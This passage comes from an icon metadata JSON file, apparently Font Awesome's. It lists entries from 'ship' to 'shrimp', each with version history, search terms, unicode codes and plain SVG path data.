        "path": "M269.4 2.9C265.2 1 260.7 0 256 0s-9.2 1-13.4 2.9L54.3 82.8c-22 9.3-38.4 31-38.3 57.2c.5 99.2 41.3 280.7 213.6 363.2c16.7 8 36.1 8 52.8 0C454.7 420.7 495.5 239.2 496 140c.1-26.2-16.3-47.9-38.3-57.2L269.4 2.9zM256 112c8.8 0 16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C334.5 200.1 351 240 384 240c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0C311.9 334.5 272 351 272 384c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C177.5 311.9 161 272 128 272c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C200.1 177.5 240 161 240 128c0-8.8 7.2-16 16-16zM232 256a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "ship": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6a2"],
        "secondary": ["10f21a"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["boat", "passenger", "sea", "ship", "water"]
    },
    "styles": ["solid"],
    "unicode": "f21a",
    "label": "Ship",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 32c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V64h48c26.5 0 48 21.5 48 48V240l44.4 14.8c23.1 7.7 29.5 37.5 11.5 53.9l-101 92.6c-16.2 9.4-34.7 15.1-50.9 15.1c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-16.2 0-34.7-5.7-50.9-15.1l-101-92.6c-18-16.5-11.6-46.2 11.5-53.9L96 240V112c0-26.5 21.5-48 48-48h48V32zM160 218.7l107.8-35.9c13.1-4.4 27.3-4.4 40.5 0L416 218.7V128H160v90.7zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 32c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32V64h48c26.5 0 48 21.5 48 48V240l44.4 14.8c23.1 7.7 29.5 37.5 11.5 53.9l-101 92.6c-16.2 9.4-34.7 15.1-50.9 15.1c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-16.2 0-34.7-5.7-50.9-15.1l-101-92.6c-18-16.5-11.6-46.2 11.5-53.9L96 240V112c0-26.5 21.5-48 48-48h48V32zM160 218.7l107.8-35.9c13.1-4.4 27.3-4.4 40.5 0L416 218.7V128H160v90.7zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "shirt": {
    "aliases": {
      "names": ["t-shirt", "tshirt"],
      "unicodes": {
        "composite": ["1f455"],
        "secondary": ["10f553"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "clothing",
        "fashion",
        "garment",
        "shirt",
        "short sleeve",
        "t-shirt",
        "tshirt"
      ]
    },
    "styles": ["solid"],
    "unicode": "f553",
    "label": "Shirt",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M211.8 0c7.8 0 14.3 5.7 16.7 13.2C240.8 51.9 277.1 80 320 80s79.2-28.1 91.5-66.8C413.9 5.7 420.4 0 428.2 0h12.6c22.5 0 44.2 7.9 61.5 22.3L628.5 127.4c6.6 5.5 10.7 13.5 11.4 22.1s-2.1 17.1-7.8 23.6l-56 64c-11.4 13.1-31.2 14.6-44.6 3.5L480 197.7V448c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64V197.7l-51.5 42.9c-13.3 11.1-33.1 9.6-44.6-3.5l-56-64c-5.7-6.5-8.5-15-7.8-23.6s4.8-16.6 11.4-22.1L137.7 22.3C155 7.9 176.7 0 199.2 0h12.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M211.8 0c7.8 0 14.3 5.7 16.7 13.2C240.8 51.9 277.1 80 320 80s79.2-28.1 91.5-66.8C413.9 5.7 420.4 0 428.2 0h12.6c22.5 0 44.2 7.9 61.5 22.3L628.5 127.4c6.6 5.5 10.7 13.5 11.4 22.1s-2.1 17.1-7.8 23.6l-56 64c-11.4 13.1-31.2 14.6-44.6 3.5L480 197.7V448c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64V197.7l-51.5 42.9c-13.3 11.1-33.1 9.6-44.6-3.5l-56-64c-5.7-6.5-8.5-15-7.8-23.6s4.8-16.6 11.4-22.1L137.7 22.3C155 7.9 176.7 0 199.2 0h12.6z"
      }
    },
    "free": ["solid"]
  },
  "shirtsinbulk": {
    "changes": ["4.3.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f214",
    "label": "Shirts in Bulk",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"
      }
    },
    "free": ["brands"]
  },
  "shoe-prints": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f54b"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["feet", "footprints", "steps", "walk"]
    },
    "styles": ["solid"],
    "unicode": "f54b",
    "label": "Shoe Prints",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M416 0C352.3 0 256 32 256 32V160c48 0 76 16 104 32s56 32 104 32c56.4 0 176-16 176-96S512 0 416 0zM128 96c0 35.3 28.7 64 64 64h32V32H192c-35.3 0-64 28.7-64 64zM288 512c96 0 224-48 224-128s-119.6-96-176-96c-48 0-76 16-104 32s-56 32-104 32V480s96.3 32 160 32zM0 416c0 35.3 28.7 64 64 64H96V352H64c-35.3 0-64 28.7-64 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M416 0C352.3 0 256 32 256 32V160c48 0 76 16 104 32s56 32 104 32c56.4 0 176-16 176-96S512 0 416 0zM128 96c0 35.3 28.7 64 64 64h32V32H192c-35.3 0-64 28.7-64 64zM288 512c96 0 224-48 224-128s-119.6-96-176-96c-48 0-76 16-104 32s-56 32-104 32V480s96.3 32 160 32zM0 416c0 35.3 28.7 64 64 64H96V352H64c-35.3 0-64 28.7-64 64z"
      }
    },
    "free": ["solid"]
  },
  "shop": {
    "aliases": {
      "names": ["store-alt"],
      "unicodes": {
        "secondary": ["10f54f"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bodega",
        "building",
        "buy",
        "market",
        "purchase",
        "shopping",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54f",
    "label": "Shop",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M36.8 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM64 224V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 224H320V384H128V224H64zm448 0V480c0 17.7 14.3 32 32 32s32-14.3 32-32V224H512z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M36.8 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM64 224V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 224H320V384H128V224H64zm448 0V480c0 17.7 14.3 32 32 32s32-14.3 32-32V224H512z"
      }
    },
    "free": ["solid"]
  },
  "shop-lock": {
    "changes": ["6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bodega",
        "building",
        "buy",
        "closed",
        "lock",
        "lockdown",
        "market",
        "purchase",
        "quarantine",
        "shop",
        "shopping",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4a5",
    "label": "Shop Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M36.8 192H449.6c20.2-19.8 47.9-32 78.4-32c30.5 0 58.1 12.2 78.3 31.9c18.9-1.6 33.7-17.4 33.7-36.7c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM384 224H320V384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 352 224zm144 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M36.8 192H449.6c20.2-19.8 47.9-32 78.4-32c30.5 0 58.1 12.2 78.3 31.9c18.9-1.6 33.7-17.4 33.7-36.7c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM384 224H320V384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V384 352 224zm144 16c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "shop-slash": {
    "aliases": {
      "names": ["store-alt-slash"],
      "unicodes": {
        "secondary": ["10e070"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "buy", "closed", "covid-19", "purchase", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "e070",
    "label": "Shop Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-54.8-43V224H512V376L384 275.7V224H320v1.5L277.2 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L74.1 32.8 38.8 5.1zM36.8 192h85L21 112.5 6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM320 384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V398.5l-64-50.4V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-54.8-43V224H512V376L384 275.7V224H320v1.5L277.2 192H603.2c20.3 0 36.8-16.5 36.8-36.8c0-7.3-2.2-14.4-6.2-20.4L558.2 21.4C549.3 8 534.4 0 518.3 0H121.7c-16 0-31 8-39.9 21.4L74.1 32.8 38.8 5.1zM36.8 192h85L21 112.5 6.2 134.7c-4 6.1-6.2 13.2-6.2 20.4C0 175.5 16.5 192 36.8 192zM320 384H128V224H64V384v80c0 26.5 21.5 48 48 48H336c26.5 0 48-21.5 48-48V398.5l-64-50.4V384z"
      }
    },
    "free": ["solid"]
  },
  "shopify": {
    "changes": ["5.12.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e057",
    "label": "Shopify",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"
      }
    },
    "free": ["brands"]
  },
  "shopware": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5b5",
    "label": "Shopware",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"
      }
    },
    "free": ["brands"]
  },
  "shower": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6bf"],
        "secondary": ["10f2cc"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bath", "clean", "faucet", "shower", "water"]
    },
    "styles": ["solid"],
    "unicode": "f2cc",
    "label": "Shower",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 131.9C64 112.1 80.1 96 99.9 96c9.5 0 18.6 3.8 25.4 10.5l16.2 16.2c-21 38.9-17.4 87.5 10.9 123L151 247c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L345 121c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-1.3 1.3c-35.5-28.3-84.2-31.9-123-10.9L170.5 61.3C151.8 42.5 126.4 32 99.9 32C44.7 32 0 76.7 0 131.9V448c0 17.7 14.3 32 32 32s32-14.3 32-32V131.9zM256 352a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm32-32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 131.9C64 112.1 80.1 96 99.9 96c9.5 0 18.6 3.8 25.4 10.5l16.2 16.2c-21 38.9-17.4 87.5 10.9 123L151 247c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L345 121c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-1.3 1.3c-35.5-28.3-84.2-31.9-123-10.9L170.5 61.3C151.8 42.5 126.4 32 99.9 32C44.7 32 0 76.7 0 131.9V448c0 17.7 14.3 32 32 32s32-14.3 32-32V131.9zM256 352a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-128a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm64 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm32-32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "shrimp": {
    "aliases": {
      "unicodes": {
        "composite": ["1f990"]
      }
    },
    "changes": ["6.0.0-beta2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "allergy",
        "crustacean",
        "prawn",
        "seafood",
        "shellfish",
        "shrimp",
        "tail"
      ]
    },
    "styles": ["solid"],
    "unicode": "e448",
    "label": "Shrimp",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
